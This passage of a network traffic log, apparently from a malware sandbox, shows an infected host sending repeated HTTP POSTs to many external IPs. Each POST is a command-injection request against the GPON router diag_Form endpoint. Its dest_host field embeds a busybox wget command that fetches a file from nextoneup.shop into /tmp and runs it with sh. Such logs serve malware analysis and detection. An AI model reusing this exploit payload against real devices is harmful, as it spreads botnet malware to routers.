432	192.168.2.13	54974	178.197.158.166	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.751023054 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.13	34082	117.56.234.127	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.751046896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.13	43358	202.48.230.210	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.751086950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.13	55816	5.126.41.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.751113892 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.13	51230	79.61.66.103	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.751128912 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.13	42378	117.12.236.217	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.751152992 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.13	56268	210.84.55.42	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767354012 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.13	43142	117.67.105.176	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767407894 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.13	45564	210.73.33.116	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767543077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.13	36674	202.135.144.172	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767580986 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.13	50682	202.65.237.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767680883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.13	48318	109.248.211.161	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767712116 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.13	36574	212.149.4.236	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767716885 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.13	36194	148.155.165.62	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767741919 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.13	43634	118.228.181.192	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767751932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.13	48682	210.122.146.130	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767777920 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.13	34324	210.20.213.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767801046 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.13	44778	79.105.220.12	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767808914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.13	39040	5.75.212.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767863989 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.13	56438	79.6.183.104	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767878056 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.13	45732	123.106.219.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767900944 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.13	33868	123.5.58.210	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767921925 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.13	34722	202.2.211.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767949104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.13	52978	2.16.135.57	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.767982006 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.13	39332	202.157.40.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768007994 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.13	42924	148.224.220.170	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768037081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 